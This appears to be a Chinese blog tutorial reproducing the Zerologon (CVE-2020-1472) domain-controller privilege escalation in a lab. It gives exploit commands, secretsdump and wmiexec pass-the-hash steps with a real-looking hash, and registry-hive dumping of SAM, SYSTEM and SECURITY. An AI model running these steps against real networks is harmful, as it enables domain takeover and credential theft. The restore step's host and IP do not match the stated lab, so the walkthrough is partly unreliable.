ms17010漏洞利用_CVE20201472域内提权漏洞

0x01 漏洞说明

CVE-2020-1472是继MS17010之后一个比较好用的内网提权漏洞,影响Windows Server 2008R 2至Windows Server 2019的多个版本系统,只要攻击者能访问到目标域控并且知道域控计算机名即可利用该漏洞.该漏洞不要求当前计算机在域内,也不要求当前计算机操作系统为windows,该漏洞的稳定利用方式为重置目标域控的密码, 然后利用城控凭证进行Dc sync获取域管权限后修复域控密码,之所以不直接使用坏控凭证远程执行命令,是因为城控账户是不可以登录的,但是域控具备Dc sync权限, 可以获取域内任意用户的凭证。

Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空

漏洞利用过程中会重置域控存储在域中(ntds.dit)的凭证,而域控存储在域中的凭证与本地的注册表/lsass中的凭证不一致时,会导致目标域控脱域,所以在重置完域控凭证后要尽快恢复。

0x02 利用过程

测试环境:

aeebb2472c49dd79e6a3572b5111a88c.png
DC域控:
  域名:WIN-ENS2VR5TR3N.demo.com
  域:demo.com
  ip:192.168.77.128
  操作系统:Windows Server 2008
  
攻击机:
  在域内/不在域内
  ip:192.168.77.129(没要求,能访问到目标域控即可)
  操作系统:Windows 7

影响版本:

Windows Server 2008 R2 for x64-based Systems
Service Pack 1Windows Server 2008 R2 for x64-based
Systems Service Pack 1 (Server Core installation)
Windows Server 2012
Windows Server 2012 (Server Core installation)
Windows Server 2012 R2
Windows Server 2012 R2 (Server Core installation)
Windows Server 2016
Windows Server 2016 (Server Core installation)
Windows Server 2019
Windows Server 2019 (Server Core installation)
Windows Server, version 1903 (Server Core installation)
Windows Server, version 1909 (Server Core installation)
Windows Server, version 2004 (Server Core installation)

利用工具:

漏洞利用要结合五个脚本配合使用

分别为:

zerologon_tester.py  #POC检测
cve-2020-1472-exploit.py  #用于将目标域控的密码置空
secretsdump.py  #用于获取域管hash
wmiexec.py  #利用远程执行命令方法离线获取保存在注册表中的域控凭证
reinstall_original_pw.py  #将dc密码恢复

下载地址:

https://github.com/mstxq17/cve-2020-1472
https://github.com/risksense/zerologon
安装:pip install -r requirements.txt
注意:在安装impacket时不要安装指定版本可能会报错,直接pip install impacket(这样安装的就是最新版本)

漏洞复现:

  1. 使用zerologon_tester.py来检测目标是否存在此漏洞

python3 zerologon_tester.py DC_主机名 DC_IPb8576eddf6a4b109faa1658485bd0f34.png

  1. 使用cve-2020-1472-exploit.py将机器账户重置

python3 cve-2020-1472-exploit.py DC_主机名 DC_ip1f38b982c9d5713c402c8825fd95a5fb.png

  1. dump域管密码hash

./secretsdump.py -no-pass ./WIN-ENS2VR5TR3N$@192.168.77.128
注意:secretsdump.py文件在C:/user/username/../programs/python3/scripts/目录下49939e434a2fc1a7110a859bf774b12b.png

  1. 使用wmiexec连接拿到域控制器中的本地管理员权限(域管)

(当然wmiexec.py也在scipts目录下)

wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:80b9a02fb232cc21564b6bba13210425 ./administrator@192.168.77.128

然后依次执行,拷贝本机中SAM数据库到本地

reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del system.save
del sam.save
del security.save
fd3630c7c1d09977f3a5692675821406.png
  1. 提取出DC账号的密码(如你所见,除此之外还有hex类型的加密,只需要解密一下即可获取明文)

secretsdump.py -sam sam.save -system system.save -security security.save localed2ccf22ad47bd6145c0fb1f5ebf4a21.png

  1. 使用工具https://github.com/risksense/zerologon 将dc密码恢复

reinstall_original_pw.py owa 192.168.52.138 4e88bf41aeb42e46e5e5ac561e97151b

20e3509299fa489995c79177f9982da2.png可以看到信息完整恢复了。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值